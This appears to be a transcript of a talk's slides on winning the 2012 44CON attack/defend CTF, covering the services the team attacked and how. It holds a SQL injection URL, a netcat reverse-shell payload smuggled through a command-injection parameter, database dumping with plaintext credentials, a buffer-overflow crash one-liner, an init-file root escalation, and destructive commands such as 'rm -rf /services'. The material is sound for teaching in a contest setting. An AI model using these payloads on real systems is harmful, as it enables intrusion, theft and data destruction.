Playing 44CON CTF for fun and profit

63
Playing the 44Con CTF for fun & profit

description

Rundown of what it took to win the MWRLabs 44CON CTF in 2012 by the winning team 'Three Headed Monkeys'

Transcript of Playing 44CON CTF for fun and profit

Page 1: Playing 44CON CTF for fun and profit

Playing the 44Con CTF for fun & profit

Page 2: Playing 44CON CTF for fun and profit

Me

"Three Headed Monkeys"

[email protected]

@impdefined

Page 3: Playing 44CON CTF for fun and profit

Me

Software developerTrying not to make things worseKnow a lot about bugs

CTF team 0xbadf00d

Contributor to io.smashthestack.org

Page 4: Playing 44CON CTF for fun and profit

CTF

"It's kind of like a Computer Science exam on acid"*

* CSAW CTF "About"page

Solving technical security challenges to get points.

Page 5: Playing 44CON CTF for fun and profit

CTF Types

Challenge-basedDEF CON qualsGhost In The ShellcodeCSAW CTF

Attack/defendDEF CON finals44Con CTF (this year)

Page 6: Playing 44CON CTF for fun and profit

44CON CTF

Page 7: Playing 44CON CTF for fun and profit

44CON CTF - What we got

Virtual Machine image

IP Address

Scope of "attackable" machines

Page 8: Playing 44CON CTF for fun and profit

Attack & Defend

Kind of like a pentest(maybe, I've never done a pentest)

I have a plan:ReconHardenWrite exploitsRun riotGet the girlSave the world

Page 9: Playing 44CON CTF for fun and profit

Step 1 - Recon

I'd rather be offline than owned

Self-recon

Capture traffic

Quick nmap of non-player servers

Page 10: Playing 44CON CTF for fun and profit

Recon - Services

Page 11: Playing 44CON CTF for fun and profit

Recon - Services

Page 12: Playing 44CON CTF for fun and profit

Recon - Scoring

Regular "scoring rounds"Score server stores new keys in servicesScore server checks for previous keys?

Every 30 minutesNot great if you're trying to see talks!

Page 13: Playing 44CON CTF for fun and profit

pastie

Page 14: Playing 44CON CTF for fun and profit

Pastie

Page 15: Playing 44CON CTF for fun and profit

Pastie

Page 16: Playing 44CON CTF for fun and profit

Pastie

Written in PHP

Pastes stored in a MySQL databaseRecon shows keys are stored as pastes

PHP+MySQL - Can you tell what the vuln is yet?

Page 17: Playing 44CON CTF for fun and profit

Pastie vuln

Page 18: Playing 44CON CTF for fun and profit

Pastie vuln

C Classic SQL injection

Page 19: Playing 44CON CTF for fun and profit

Pastie fix

It's not all pwnpwnpwn

Not very sexy

Updated to use prepared statements

Page 20: Playing 44CON CTF for fun and profit

Pastie exploit

I want keys!

Had a look at my own DB to figure out the query

Page 21: Playing 44CON CTF for fun and profit

Pastie exploit

https://ip/view/%'+and+lang+=+'text'+order+by+date+desc+--+

Page 22: Playing 44CON CTF for fun and profit

Pastie exploit

Page 23: Playing 44CON CTF for fun and profit

Pastie exploit - scripted

Page 24: Playing 44CON CTF for fun and profit

mailserver

Page 25: Playing 44CON CTF for fun and profit

Mailserver

SMTP and POP3 server

Keys are stored in emails

Written in RubyI don't know Ruby~ 500 lines

Page 26: Playing 44CON CTF for fun and profit

Mailserver - vulnerability

Page 27: Playing 44CON CTF for fun and profit

Mailserver - vulnerability

???

This just runs whatever Ruby code you give it

Time to learn Ruby!

Page 28: Playing 44CON CTF for fun and profit

Mailserver - verification

Looking at the logs...

Page 29: Playing 44CON CTF for fun and profit

Mailserver - exploitation

I'm sure Ruby is lovely...

... but let's just find some code to copy

Page 30: Playing 44CON CTF for fun and profit

Mailserver - exploitation

Page 31: Playing 44CON CTF for fun and profit

Mailserver - exploitation

Page 32: Playing 44CON CTF for fun and profit

Mailserver - scripted exploitation

Page 33: Playing 44CON CTF for fun and profit

auth

Page 34: Playing 44CON CTF for fun and profit

Auth

Running on port 23500

Page 35: Playing 44CON CTF for fun and profit

Auth

Page 36: Playing 44CON CTF for fun and profit

Auth - vulnerability

Source analysis 101

Page 37: Playing 44CON CTF for fun and profit

Auth - exploitation

Page 38: Playing 44CON CTF for fun and profit

Auth - exploitation

Classic stack buffer overflow

Overwrite return address with value of my choice

Remote code execution.....

....right?

Page 39: Playing 44CON CTF for fun and profit

Auth - exploitation

Welcome to CTF rage

Page 40: Playing 44CON CTF for fun and profit

Auth - exploitation

Page 41: Playing 44CON CTF for fun and profit

Auth - exploitation

Just put a valid writable address in the buffer ptr!

Easy if this was a 32bit process.

Our memory space is annoying.

Page 42: Playing 44CON CTF for fun and profit

Auth - exploitationgdb$ info proc map

Mapped address spaces:

Start Addr End Addr Size Offset objfile

0x400000 0x403000 0x3000 0x0 /services/auth/auth

0x602000 0x603000 0x1000 0x2000 /services/auth/auth

0x603000 0x604000 0x1000 0x3000 /services/auth/auth

0x604000 0x625000 0x21000 0x0 [heap]

........ ........ ....... ... ......

0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]

0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]

Page 43: Playing 44CON CTF for fun and profit

Auth - exploitationgdb$ info proc map

Mapped address spaces:

Start Addr End Addr Size Offset objfile

0x0000000000400000 0x0000000000403000 0x3000 0x0 /services/auth/auth

0x0000000000602000 0x0000000000603000 0x1000 0x2000 /services/auth/auth

0x0000000000603000 0x0000000000604000 0x1000 0x3000 /services/auth/auth

0x0000000000604000 0x0000000000625000 0x21000 0x0 [heap]

........ ........ ....... ... ......

0x00007ffffffde000 0x00007ffffffff000 0x21000 0x0 [stack]

0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall] (read-only)

Page 44: Playing 44CON CTF for fun and profit

Auth - exploitation

Time's up!

No remote code execution :-(

Very limited DoSCrash processRestarts automatically

Page 45: Playing 44CON CTF for fun and profit

servicemon

Page 46: Playing 44CON CTF for fun and profit

Servicemon

Web page

Looks like it monitors the other services

Ruby again

Page 47: Playing 44CON CTF for fun and profit

Servicemon - vulnerability

Command execution of "filelist" parameter

Page 48: Playing 44CON CTF for fun and profit

Servicemon - exploitation

Never mind keys, I want a shell

contestant@ubuntu:~$ nc -l 31337 -e /bin/shnc: invalid option -- 'e'

Page 49: Playing 44CON CTF for fun and profit

Servicemon - exploitation

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.75 31337 >/tmp/f

*cracks knuckles*

http://ip:3000/hash?filelist=notafile||rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202>%261%7Cnc%20192.168.1.75%2031337%20>%2Ftmp%2Ff

Page 50: Playing 44CON CTF for fun and profit

Servicemon - exploitationcontestant@ubuntu:~$ nc -lv 31337Connection from 192.168.1.72 port 31337 [tcp/*] accepted$ whoamicontestant$ pwd/services/servicemon

Now we can have some fun!

Page 51: Playing 44CON CTF for fun and profit

rampage

Page 52: Playing 44CON CTF for fun and profit

Steal all the keysmysql --user=sinatra --password=44ConCTF servicemon -e "select status from statuses order by created_at desc limit 1;"

mysql --user=pastie --password=J@cobsClub\$ paste -e "select pastie from pastie order by date desc limit 1;"

OUTPUT=redis-cli -r 1 keys \* | tail -n 1redis-cli -r 1 lrange $OUTPUT 0 1

Page 53: Playing 44CON CTF for fun and profit

Leave a calling card

echo 'Look behind you! A three-headed monkey!' > /services/pastie/.win

Page 54: Playing 44CON CTF for fun and profit

Annoy

echo 'export PROMPT_COMMAND="cd"' >> ~/.bashrc

echo exit >> ~/.bashrc

rm -rf /services

Page 55: Playing 44CON CTF for fun and profit

escalation

Page 56: Playing 44CON CTF for fun and profit

Escalation

Getting keys is fine

Getting shells is better

Getting root is best

Page 57: Playing 44CON CTF for fun and profit

Escalation - the hard way$ find /etc -writable/etc/init/mail.conf/etc/init/auth.conf

Page 58: Playing 44CON CTF for fun and profit

Escalation - the hard wayUSER PID TTY STAT COMMANDroot 8680 ? Ss /services/auth/auth

Page 59: Playing 44CON CTF for fun and profit

Escalation - the hard way

Next time auth respawns we will get a root shell

Lame DoS to the rescue!

perl -e 'print "auth " . "A"x1100 . "\n"' | nc ip 23500

Connection from 192.168.1.73 port 31337 [tcp/*] accepted# whoamiroot

Page 60: Playing 44CON CTF for fun and profit

Escalation - the easy way220 Mail Service ready (33147)HELO250 Requested mail action okay, completedEXPN respond(client, `whoami`)root

Page 61: Playing 44CON CTF for fun and profit

summary

Page 62: Playing 44CON CTF for fun and profit

Summary

CTFs are fun!

http://smashthestack.org- start with io

http://overthewire.org

http://hackthissite.org

Page 63: Playing 44CON CTF for fun and profit

questions